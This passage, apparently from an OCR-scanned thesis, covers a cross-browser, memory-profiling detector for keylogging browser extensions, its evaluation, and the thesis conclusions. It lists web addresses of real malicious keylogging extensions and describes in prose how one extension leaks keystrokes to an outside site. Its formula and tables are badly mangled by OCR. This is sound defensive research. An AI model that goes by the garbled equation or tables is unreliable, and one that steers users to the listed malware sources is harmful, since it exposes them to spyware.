to be (1/n) Y7, (CF,;/ki +¢), given that the corresponding baseline MPC
distribution is assumed to be constantly 0.

6.4.4 Feature Vector: Real Case

The construction of the feature vector we presented in the previous section
did not address the case of background memory activities interfering with our
analysis. Sporadic, but intensive memory writes could hinder the correlation
or the amplification factors. Unfortunately, this scenario is the norm, rather
than the exception in today’s browsers. For example, Firefox is known to
continuously garbage collect unused heap regions [33]. Chrome periodically
checks for certificates revocation and platform updates. In addition, back-
ground activities are often performed by increasingly common AJAX-based
web applications that periodically send or retrieve data from the web servers.
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Figure 6.3: Memory activity of different idle browsers.
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To investigate this issue, we recorded the aggregated memory write distri-
bution of all the recent browsers in case of no foreground activity. Figure 6.3
depicts our findings: with the exception of Internet Explorer (IE), all the
browsers perform memory-intensive background tasks. We also observe that
the distribution of the background memory activities can considerably vary
from one browser version to another.

To make our model resilient to spurious memory activities, we extend our
original feature vector in two ways. First, we filter out spurious memory writes
monitored for the baseline. This is done by conservatively replacing any MPC
distribution with a zero distribution when no significant correlation is found
with the injection vector. This operation removes all the background noise as-
sociated to features that are not correlated to the event-processing activity in
the baseline. This alone is insufficient, however, to eliminate any interference
in the computation of the amplification factors when correlated MPC distri-
butions present spurious patterns of background memory activity. To address
this problem, we can first increase the granularity of our code ranges in the
memory snapshots. This strategy can further isolate different code paths
and greatly reduce the probability of two different browser tasks revealing
significant memory activity in the same underlying MPC distribution.

In addition, we consider the distribution of the amplification factors over
all the time intervals and perform an outlier removal step before averaging the
factors and computing the final feature value. To remove outliers from each
distribution of amplification factors, we use Peirce’s criterion [78], a widely
employed statistical procedure for outlier elimination. Peirce’s criterion is
suitable for our purposes as it allows an arbitrary number of outliers, greatly
reducing the standard deviation of the original distribution when necessary.
This is crucial for our model, given that we expect a low-variance amplification
factor distribution once all the spurious elements have been eliminated. In
our experiments, for any reasonable choice of the number of time intervals
n, we hardly observed any distribution value distant from the mean after the
outlier removal step. We now give the formal definition of the final feature
vector used in our model.

Definition 4. Let the feature vector € = [z1,...,2y]. The single element x;
of the feature vector measures the average amplification factor for the MPC
distribution of the j-th memory performance counter, 1 < j < m. FEach
element x; is defined as follows.

LS w0 %G e i POC (e,CE) > T
PC’C(eC’B)zT

T R Sac if PCC (e,CE) >T (6.2)
PCC (e,CE)) < T

0 otherwise
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where T is a generic threshold, € is the baseline amplification factor, and
w; € {0,1} is an outlier removal factor.

6.5 Application to Keylogging Extensions

This section exemplifies the application of our model to extensions with key-
logging behavior and details the steps of the resulting detection process. To
instantiate our detection model to a particular class of privacy-breaching ex-
tensions, we need to (i) carefully select the injection events to trigger the
reaction of interest; (ii) define an appropriate training set that achieves suf-
ficient representativeness and separability between the samples. To satisfy
the former, we simply need to simulate user-issued keystrokes in the injection
phase. While we could easily collect several legitimate and privacy-breaching
browser extensions to construct the training set to satisfy the latter, in prac-
tice we found a minimal synthetic training set to be more convenient for our
purposes. Our default training set comprises only 3 examples: the baseline
(negative example), a synthetic shortcut manager (negative example), and a
synthetic keylogger (positive example).

We implemented all the synthetic examples for each browser examined
and found them to be highly representative for our analysis. The baseline
accurately models all the extensions that do not intercept keystroke events.
Our synthetic shortcut manager, in turn, models all the legitimate exten-
sions that do intercept keystroke events but without logging sensitive data.
Our synthetic keylogger, finally, models the privacy-breaching behavior of all
the extensions that eavesdrop and log the intercepted keystroke events. The
proposed training set is advantageous for two reasons. First, it can be easily
reproduced for any given browser with very little effort. Second, given the sim-
plicity of the synthetic extensions described, the same training set can be eas-
ily maintained across different browsers. The only limitation of such a small
training set is the inability to train our SVM classifier with all the possible
privacy-breaching behaviors. Note that, in contrast, legitimate behaviors are
well represented by the baseline and the synthetic shortcut manager. While
one can make no assumption on the way privacy-breaching extensions leak
sensitive data, our detection strategy is carefully engineered to deal with po-
tential unwanted behaviors that escaped our training phase, as discussed later.

We now detail the steps of the proposed detection process. First, we select
suitable injection parameters to tune the detector. We use a random high-
variance distribution for the injection vector. This is to achieve low input
predictability and stable PCC values. The number n and the duration ¢ of
the time intervals, in turn, trade off monitoring time and reliability of the
measurements. The larger the duration of a single time interval, the better
the synchronization between the injection and the monitoring phase. The
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larger the number of the time intervals, the lower the probability of spurious
PCC values reporting high correlation when no causality was possible.

Subsequently, we train our SVM classifier for the target browser. For
each training example we conduct an experiment to inject the predetermined
keystroke vector and monitor the resulting memory write distribution pro-
duced by the browser. The same is done for the browser with no extensions
enabled. The feature vectors are then derived from the memory write dis-
tributions obtained, as described in Section 6.4.4. The training vectors are
finally used to train our SVM classifier. The same procedure is used to obtain
feature vectors for unclassified extensions in the detection phase.

Before feeding the detection vector to our SVM classifier, the detection
algorithm performs a preprocessing step. The vector is checked for any new
relevant features that we previously discarded in the feature selection step.
If no such a feature is found, the detection vector is normally processed by
our SVM-based detector, which raises an alert if the vector is classified as a
privacy-breaching extension. If any new relevant feature emerges, in contrast,
our detection algorithm always raises an alert indiscriminately. This step is
necessary in the general case to eliminate the possibility of privacy-breaching
behavior not accounted for in the training phase. This conservative strategy
leverages the assumption that legitimate behavior is well represented in the
training set, and previously unseen behavior correlated to the injection is
likely to reflect unwanted behavior.

6.6 Evaluation

We tested our approach on a machine with Intel Core i7 2.13 GHz and 4 GB
of RAM running Windows XP Professional SP3. We chose the most popular
versions of the browsers analyzed (as of September 2011 [100]): Firefox 6.0.2,
Chrome 13.0.782.216, and Internet Explorer 8. In the experiments, we used
the injection vector described in Section 6.5, with n = 10 and ¢ = 500ms for
an overall detection time of 5s. These values were sufficient to provide very
accurate results. Figure 6.4 shows the aggregated memory write distributions
obtained for the training examples of each browser. As evident from the figure,
the correlation alone was never sufficient to discriminate between negative and
positive examples. And neither were the aggregated amplification factors,
which, for instance, set positive and negative examples only a few bytes apart
in Firefox and IE. Nevertheless, the weights assigned to the features during the
training phase showed that even with negligible differences in the aggregated
amplification factors, individual features can still be used to achieve sufficient
discrimination power.

In particular, Table 6.3a shows the number of features selected in each
training session, using PCC as a feature selection mechanism. We use the no-
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Figure 6.4: Memory write distributions obtained during a training phase with an
impulse-based injection vector.

tation code-region_code-range_data-region to identify a particular code
path writing data to a particular memory region (e.g., kernel32.d11_1_heap,
ntdll.d11_10_data). Our ability to select only a small subset out of all the
candidate features avoids the curse of dimensionality and facilitates the job
of the SVM classifier [23]. For instance, in Firefox and IE we found that the
JavaScript (JS) engine libraries (i.e., mozjs.d1ll and jscript.dll) played
an important role in identifying high-quality features. Chrome, in contrast,
exhibited a limited number of features with very similar weights. While the
discrimination power is clearly reduced in this case, Chrome’s amplification
factors were found far apart between positive and negative examples, thus still
revealing a degree of separability suitable for accurate behavior classification.

6.6.1 False Negatives

To evaluate the effectiveness of our technique we gathered 30 different ma-
licious extensions from public fora, online repositories [63; 32], blocked ex-
tensions lists [62], and anti-virus security bulletins [102]. We then manually
inspected all the samples via static and dynamic analysis, and selected those
either capable of keylogging activities or configurable as keyloggers. The re-
sulting dataset comprises 5 full-fledged extensions—also known as Browser
Helper Objects (BHOs) in the case of IE 8—, and 1 JS user script compat-
ible with both Firefox and IE, hence obtaining a set of 7 different detection
experiments. JS user scripts are stripped down extensions with no packag-
ing infrastructure or ability to modify the existing user interface. Chrome
supports user scripts natively when limited privileges are required, whereas
Firefox and IE depend upon the installation of the Greasemonkey [52] and
Trixie [98] extensions respectively, which also provide access to privileged
APIs. We point out that in all cases, regardless of the extension’s type, the
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Browser Extension Detected

extensionkeylog.sourceforge.net V2

Chrome 13  chrome.google.com/webstore/detail/

<

/afllmmeoaodlbocnfihkaihpkcakomco

addons.mozilla.org/addon/220858
userscripts.org/scripts/show/72353

Firefox 6

flyninja.net/?p=1014
IE 8 wischik.com/lu/programmer/bho.html

NENENE IENEN

userscripts.org/scripts/show/72353

Table 6.1: Detection of privacy-breaching extensions performing keylogging activities.

installation procedure never required super-user privileges.

Table 6.1 shows the results of our experiments. In all the cases, the SVM
classifier successfully ascertained the privacy-breaching nature of the sam-
ples regardless of the extension type. The most interesting experiments were
against the 2 BHO extensions in IE, which are implemented directly by a
DLL. The ability of a DLL to independently manage memory may at times
produce new relevant features that were nowhere found during the training
phase, thus theoretically hindering detection. Our detection strategy, how-
ever, gracefully handles this situation in the preprocessing step, which im-
mediately raises an alert when new relevant features are discovered in the
detection vector. This ensured all the BHOs could be detected correctly in
our experiments. Although both Chrome add-ons were successfully classified,
extensionkeylog required a training set specifically tailored to JS content
scripts. As dictated by the Chrome sandbox, JS content script have typically
no means to leak private data to resources different than the visited web site;
for this reason, originally, the training set only comprised JS-based add-ons.
The sample in question, however, is engineered to repeatedly load an external
web site (allegedly deployed by the attacker) to side-channel the keystrokes
as query strings. No process is spawned to execute the resulting script. This
translates to a keylogging behavior with a severely limited memory footprint,
considerably inferior to any negative example the model could have been orig-
inally trained with. For this reason, we had to resort to assembling a second
and more specific data-set with both positive and negative examples imple-
mented as JS content scripts. The model so-trained still offered hyperplane’s
separability—albeit less features were detected as relevant—thus allowing a
correct classification of the sample in question. It is worth noticing that even
in this case our model did not require access to the browser’s source code;

2As we discuss at length in Section 6.6.1, successful detection required a training set
tailored to JS content scripts.
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addressing this concern simply entailed re-training the model with a different
training set. Incidentally, the very same steps are needed to accommodate a
browser’s new major version, thus further confirming the efficacy of a detec-
tion model that is both cross-browser and cross-version.

6.6.2 False Positives

To test the robustness of our approach against false positives, we put together
a dataset of 13 extensions for each browser, comprising the 10 most common
extensions [96; 54; 17] and the 3 most popular shortcut management exten-
sions, carefully selected because prone to misclassification. Table 6.3b shows
the results of our detector against all these extensions. All the extensions for
Chrome were correctly classified as legitimate. The gray-colored rows high-
light all the shortcut management extensions selected. Despite the presence
of keystroke interception APIs, none of these extensions was misclassified.
This confirms the robustness of our technique.

In the case of Firefox, 12 out of 13 extensions were classified correctly.
The NoScript extension, which blocks any script not explicitly whitelisted by
the user, was the only misclassified sample. A quick analysis showed a mem-
ory write distribution unexpectedly similar to those exhibited by keylogging
samples. A deeper inspection revealed a very complicated implementation
of always-on shortcut management functionalities, with every keystroke pro-
cessed and decoded several times. Other extensions that explicitly provide
shortcut management functionalities (gray-colored rows) were instead classi-
fied correctly. Similarly to Firefox, only 1 extension (i.e., LastPass, a popular
password manager) was erroneously classified for IE. A careful code inspec-
tion revealed that the implementation of the extension logs all the user-issued
keystrokes indiscriminately. This allows the user to save any previously filled
credentials after a successful login. Since the keystrokes are effectively logged
and can potentially be leaked to third parties at a later time, our detection
strategy conservatively flags this behavior as suspicious.

6.6.3 Performance

The ability to attach and detach our profiling infrastructure to the browser
on demand (as arbitrated by the user) allows us to confine the performance
overhead to the detection window. The previous sections have demonstrated
that a window of 5 seconds (i.e., 10 samples with a 500ms time interval) is
sufficient for our purposes. This confines the overhead to a very limited period
of time, allowing the user to start a quick detection run whenever convenient,
for example, when vetting unknown extensions upon installation.
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Browser Baseline Normal use Detection time
Chrome 13 1345ms 1390ms 11254ms
Firefox 6 1472ms 1498ms 12362ms
IE 8 2123ms 2158ms 14177ms

Table 6.2: Performance hit while loading google. com.

Table 6.2 show the performance impact of our online infrastructure by
comparing the time required to load http://www.google.com in three differ-
ent scenarios: (i) prior to the installation of our infrastructure (Baseline),
(ii) with our infrastructure installed but completely detached (Normal use),
and (iii) with our infrastructure attached to the browser, hence during detec-
tion (Detection time). All the experiments have been performed multiple
times and their results averaged—with negligible variance. The last two ex-
periments represent the performance overhead perceived by the user during
normal use and during detection, respectively. The infrastructure attached
to the browser at detection time introduces overhead, ranging from 6.67x for
IE to 8.39x for Firefox. When comparing our memory profiler with other
solutions that rely on dynamic instrumentation [73], our infrastructure yields
significantly lower overhead, for our ability to ignore memory regions of no
interest a priori. Finally, the performance variations introduced by our infras-
tructure when detached is always negligible. This confirms that our technique
does not interfere with the normal browsing experience.
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Google Chrome 13.0.782.216

Mozilla Firefox 6.0.2

Microsoft Internet Explorer 8

Feature Value Feature Value Feature Value
chrome.d1l1_5_heap 0.3352 MOZCRT19.d11_1_heap 0.0342 jscript.dll_1_heap 0.497
chrome.dll_3_heap 0.3352 MOZCRT19.d11_3_heap -0.3333 jscript.dll_2_heap 0.4936
chrome.dl1l_2_heap 0.3352 any_other.dll_heap 0.3283 jscript.dl1l_3_heap 0.5556
chrome.d1ll_1_heap 0.3296 mozjs.dll_1_heap 0.0493 ntdll.d11_1_heap 0.1454
any_other.dll_heap 0.3352 mozjs.dll_2_heap 0.3116 ntdll.d11_3_heap -0.0517
kernel32.d11_1_heap 0.3352 mozjs.dll_3_heap 0.0648 msvcert.dll_4_heap 0.5034
- - mozjs.dll_4_heap 0.1429 kernel32.d11_1_heap 0.3853
- - nspr4.dl1l_4_heap 0.033 mshtml.d11l_1_heap -0.0438
- - nspr4.dl1_5_heap 0.0357 IEFRAME.d11_2_heap 0.5

- - xul.d1l_1_heap 0.0112 OLEAUT32.d11_1_heap 0.5

- - xul.dll_2_heap 0.0444 - -

- - ntdll.d11_1_heap 0.033 - -

(identified = 376, extracted = 6)

(identified = 396, extracted = 12)

(identified = 366, extracted = 10)

(a): Features extracted by our model and weights produced by the training phase.

Google Chrome 13.0.782.216

Mozilla Firefox 6.0.2

Microsoft Internet Explorer 8

Extension Identified Extension Identified Extension Identified
Shortcut 0.2 v GitHub Shortcuts 2.2 v Shortcut Manager 7.0003 v
Shortcut Manager 0.7.9 v ShortcutKey2Url 2.2.1 v ieSpell 2.6.4 v
SiteLauncher 1.0.5 v SiteLauncher 2.2.0 v IE7Pro 2.5.1 v
AdBlock 2.4.22 v AdBlock Plus 1.3.10 v YouTubeVideoDwnlder 1.3.1 v
ClipToEvernote 5.1.15.1534 v Down Them All 2.0.8 v LastPass (IEanywhere)

Download Master 1.1.4 v FireBug 1.8.4 v OpenLastClosedTab 4.1.0.0 v
Fastest Chrome 4.2.3 v FlashGot 1.3.5 v Star Downloader 1.45.0.0 v
FbPhoto Zoom 1.1108.9.1 v GreaseMonkey 0.9.13 v SuperAdBlocker 4.6.0.1000 v
Google Mail Checker 3.2 v NoScript 2.2.1 Teleport Pro 1.6.3 v
IETab 2.7.14.1 v Video Download Helper 4.9.7 v WOT 20110720 v
Google Reader Notifier 1.3.1 v Easy YouTube Video 5.7 v CloudBerry TweetIE 1.0.0.22 v
Rampage 3 v Download Statusbar 0.9.10 v Cooliris 1.12.0.33689 v
RSS Subscription 2.1 v Personas Plus 1.6.2 v ShareThis 1.0 v

(b): Classification of legitimate extensions (highlighted in gray extensions prone to misclassification).

Table 6.3: Feature extracted and classification of legitimate extensions.
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6.7 Discussion

A number of interesting findings emerge from our evaluation. Our model
can be effectively used across different browser versions and implementations.
We presented results for the most widespread versions of the 3 most popular
browsers. We have also experimented with other major releases of Firefox
and Chrome obtaining very similar results.

Even if we never found false negatives in our experiments, it is worth
considering the potential evasion techniques that a malicious extension may
adopt to escape detection. We consider two scenarios. First, an extension
could attempt to leak sensitive data by using some browser functionality that
was already represented as a training feature. By definition, however, the
extension cannot avoid exhibiting relevant memory activity for the particu-
lar feature used. The resulting feature value will inevitably reveal a more
intensive memory activity with respect to the baseline and contribute to clas-
sifying the extension correctly. Conversely, an extension could attempt to
rely on some browser functionality that did not emerge as a training feature.
In this case, the suspicious behavior will still be detected from the corre-
lation found between the injection vector and the MPC distribution of the
emerged feature. The only chance to escape detection is to lower the result-
ing correlation by performing disguisement activities. While more research
is needed to assess the viability of this strategy in the context of browser
extensions, we have already discussed in Chapter 3 the difficulty of such an
evasion technique. Finally, an attacker could instruct an extension to perform
privacy-breaching activities only in face of particular events, e.g., when the
user visits a particular website. To address this scenario, our solution allows
the user the start a detection run on all the active extensions at any time, for
example before entering sensitive data into a particular website.

Finally, we comment on how to apply our detection model to other classes
of privacy-breaching extensions. As done for keylogging extensions, we can
easily instantiate our model to any class of extensions that react to certain
sensitive events, as long as it is feasible to (i) artificially inject the events of
interest into the browser and (ii) determine a training set that achieves sep-
arability between positive and negative examples. As an example, to detect
form-sniffing behavior, we would need to simulate form submission events and
train our model with both form sniffers and regular extensions that do not
record form submission events.

6.8 Related Work

Many approaches [45; 24; 51] have been initially proposed to detect privacy-
breaching browser extensions, and in particular the class of malicious soft-
ware known as spyware add-ons. These approaches relied on whole-system
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flow tracking [24] and on monitoring the library calls between browser and
BHOs [45]. Besides being tailored to IE and hence not meeting the require-
ment, of a cross-browser detection model, they are either dependent on the
adopted window of observation for a successful detection, or unable to set
apart malicious add-ons from legitimate extensions using the same library
calls. In the case of [51], the interactions of a BHO with the browser are
regulated by a set of user-defined policies. However, this approach can not be
applied to extensions where the code run in the same context of the browser.

Recently new approaches focused on taint tracking the execution of JS by
either instrumenting the whole JS engine [21; 91], or rewriting the JS scripts
according to some policies [40]. In both cases the underlying idea is that an
object containing sensitive information shall not be accessed in an unsafe way.
In our setting this translates to an extension that shall never be allowed to
disclose the user’s private data to a third-party.All these approaches however,
besides incurring high overheads, can not be disabled unless the user replaces
the instrumented binary with its original version. Furthermore they fail to
meet our cross-browser requirements. In particular, given the complexity of
modern JS engines, porting and maintaining them to multiple versions or
implementations is both not trivial and requires access to the source code.
Besides being feasible only for browsers which source-code is freely available,
e.g., Firefox and Chrome, only the vendor’s core teams have all the knowledge
required for the job. In contrast, our approach merely requires to retrain
the model to retrofit different versions and implementations. This does not
require any specific knowledge about the browser, takes a limited amount of
time, and can also be carried out by unexperienced users.

Since browsers and their extensions were more and more both target and
vector of malicious activities, many studies recently addressed the more gen-
eral problem of assuring the security of the whole browser, extensions in-
cluded. In particular, Djeric et al. [22] tackled the problem of detecting
JS-script escalating to the same privileges of a JS-based extension, hence “es-
caping” the browser’s sandbox. This may happen either in case of bugs in
the browser implementation, or in case of a poorly programmed extension,
where the input is not sufficiently sanitized. In the last scenario, [5] proposed
a framework to detect these bad practices and help vetting extensions. In any
case the mischief is always the ability to load arbitrary code, possibly acquir-
ing higher privileges. No protection is provided against extensions intended
to be malicious that disclose private data on purpose. As the root problem
is that the JS code should be by nature untrusted, an orthogonal solution is
proposed in [34]: rather than assessing the security implications of a piece of
untrusted code, the authors propose a framework to develop and certify that
an extension conforms to some high-level security policies. Even if it may
considerably help the process of reviewing extensions, this approach cannot
protect the user from existing extensions not ported to the framework.
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6.9 Conclusions

With their growing availability and ease of distribution, browser extensions
pose a significant security threat. In particular, privacy-breaching extensions
that intercept and log sensitive events are becoming increasingly widespread.
Existing solutions designed to detect privacy-breaching extensions are typi-
cally tailored to a particular browser version or require significant efforts to
support and maintain multiple browser implementations over time. Unfor-
tunately, browsers undergo continuous changes nowadays and the need for
cross-browser detection techniques is stronger than ever.

In this chapter, we introduced a generic cross-browser detection model to
address this important concern. In addition, we showed an application of
the model to privacy-breaching extensions with keylogging behavior, and we
evaluated both effectiveness and precision against a set of real-world exten-
sions. We showed that the performance overhead introduced by our detection
infrastructure is confined to a very limited time window, hence relieving the
user from unnecessary overhead during the normal browsing experience.







Conclusions and Future Works

The main goal of this thesis has been to investigate both privileged and un-
privileged techniques to detect and tolerate user-space keyloggers. Our start-
ing concern was to provide a first line of defense which could be deployed
on any terminal regardless of the privileges granted to the user. We then
strengthened that line of defense with a set of solutions running with higher
privileges, and we showed that detection of privacy-breaching malware is at
hand, and incurs in a performance impact noticeable only at detection time.
The case of applications that can be turned into keyloggers shifted the prob-
lem of detecting malicious processes to the one of detecting malicious add-ons.
Also in this case we showed that a black-box model is possible, and that can
be sufficiently generalized to be applied to multiple browsers and multiple ex-
tension models. To the best of our knowledge, no previous set of techniques
could be applied so widely, and with so little burden for the user. This chapter
summarizes the results, and offers some future directions.

Results

We can summarize the results of the thesis in the following points:
1. Unprivileged Detection of Keyloggers (Chapter 3).

e KEYSLING is a solution to detect user-space keyloggers while requiring
no root privileges. Detection is asserted when a process’ I/O activity
correlates with some simulated user activity.

e We show that our technique does not incur in false positives, and false
negatives are possible only in limited scenarios.

e We investigate the limits of such technique and propose, where appli-
cable, possible approaches to counter a keylogger purportedly evading
our technique.
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2. Unprivileged Toleration of Keyloggers via Keystrokes Hiding (Chapter 4).

e« We implemented NOISYKEY, a solution that allows the user to live
together with a keylogger without putting her privacy at stake. By
confining the user input in a noisy channel, the keylogger is also fed
with random noise and can not tell real and dummy keystrokes apart.

e Implemented as a user-space library that can be injected in modern
applications, it imposes a reasonable overhead in terms of latency for
the user keystrokes, and CPU load.

e We also provide a model based on statistical properties that provides
the theoretical support to generate noise such that the privacy (even
in presence of a keylogger) is assured.

3. Privileged Detection of Keylogging Malware (Chapter 5).

¢« We implemented KLIMAX, a privileged infrastructure to monitor the
memory activity of running processes. The technique instruments the
memory management of an operating system and records any mem-
ory access in terms of code region, memory region, and numbers of
bytes written. The technique can be enabled and disabled at will, thus
imposing no overhead during normal use.

¢ This infrastructure allowed us to detect keyloggers in the form of privacy-
breaching malware. This flavor of keyloggers does not exhibit any I/0
activity, but instead conceals its presence by keeping its logs in memory.

e We show that our technique so-augmented does not incur in false neg-
atives. The technique exhibited a false positive only in case of a legiti-
mate application that could have been configured as keylogger.

4. Privileged Detection of Keylogging Add-ons (Chapter 6).

o We proposed a cross-browser approach to detect keylogging browser
extensions, hence solving the problem where the keylogger is executing
as part of a legitimate application rather than a separate and isolated
process.

e We further optimized KLIMAX to deal with memory intensive applica-
tions such as web-browsers but selectively excluding memory regions of
no interest, e.g., the stack. Also, memory regions are write protected
instead of user protected. This further decreased the number of page
faults, and thus the performance overhead.

o We fully evaluated the resulting technique against the 30 most common
browser extensions. False positives were exhibited only in case of either
poorly written browser extensions or extensions purportedly keylogging
the user activity (e.g., password managers).

In Section 2.1.1 we discussed the many types of keyloggers existing in the
wild. In particular, Figure 2.2 showed a system perspective of how keystrokes
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Figure 7.1: The types of keyloggers that are addressed by the different techniques
discussed throughout this thesis.

were propagating across the system in case either a TYPE I, TYPE II, or TYPE
IIT keylogger was deployed. Figure 7.1 integrates that perspective with the
solutions we presented throughout this thesis. While tolerance and detection
of TypPE I and TYPE II keyloggers is always attainable (to avoid all possible
evasion techniques a privileged approach is however required), detection of
TyPE III keyloggers required a specific approach. This is of little surprise as
this last scenario entailed considering the complexities of detecting keyloggers
that once were legitimate processes, rather than detecting processes that were
per se malicious.

Limitations and Future Work

In Chapter 3 we described KEYSLING, a black-box approach to detect user-
space keyloggers in an unprivileged manner. An interesting contribution was
the ability to trigger the intended behavior so that the dynamic analysis
could be effective. Identifying triggers for other classes of malware is the
primary requirement for a black-box model. Being able to do so would allow
us to discard once again any knowledge on the malware internals, and thus
detect 0-day samples of the same class. Likewise, there are also many other
performance counters (such as the amount of network activity) which can be
accessed in an unprivileged manner. This information (further expanded in
Windows 8) could allow other class of malware to be modeled and detected.

The solution discussed in Chapter 4 allows the user to live together with
a keylogger. An important contribution was that no particular privilege is
required. However, since the library we inject has always knowledge of the
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injected keystrokes (i.e., the noise), a keylogger aware of our solution could
recover the original data by inspecting the memory allocated by our library.
Moving this information in kernel-space could defeat this attack, but again,
at the cost of requiring higher privileges. We believe more appealing an
investigation whether our strategy, often overlooked by current literature,
could be applied to other classes of privacy-breaching malware. The only
requirements are identifying which information the malware is looking for,
and the ability to trigger its harvesting.

The infrastructure presented in Chapter 5 allows for transparent and on-
line dynamic analysis of executables. Existing detection solutions relying on
either library calls or system calls can benefit from the wealth of knowledge
provided by considering memory write patterns. In particular it would be pos-
sible to marry the ability to identify which are the function calls used by the
malware, with the amount of information the malware is dealing with. This,
for instance, could allow the definition of new criteria ascertaining whether an
API is being abused based on the amount of data passed as formal argument.

In Chapter 6 we introduced a cross-browser detection model for keylog-
ging extensions. Due to malicious browser extensions recently gaining mo-
mentum [16], our next focus is validating our model with extensions sur-
reptitiously intercepting form submissions. In addition, we are planning to
investigate context-specific policies to initiate analysis on a per-event basis,
thus increasing the dynamic coverage of our solution. Also, as confirmed by
some ongoing work on mail clients (Thunderbird) and word processors (Li-
breOffice), the underlying model can be easily applied to other applications.
In this direction, a promising line of research is applying our detection model
to any application supporting add-ons. However, until a proper dataset, i.e.,
more comprehensive, of keylogging extension is made available to the public,
evaluation of the resulting techniques remains an open issue.
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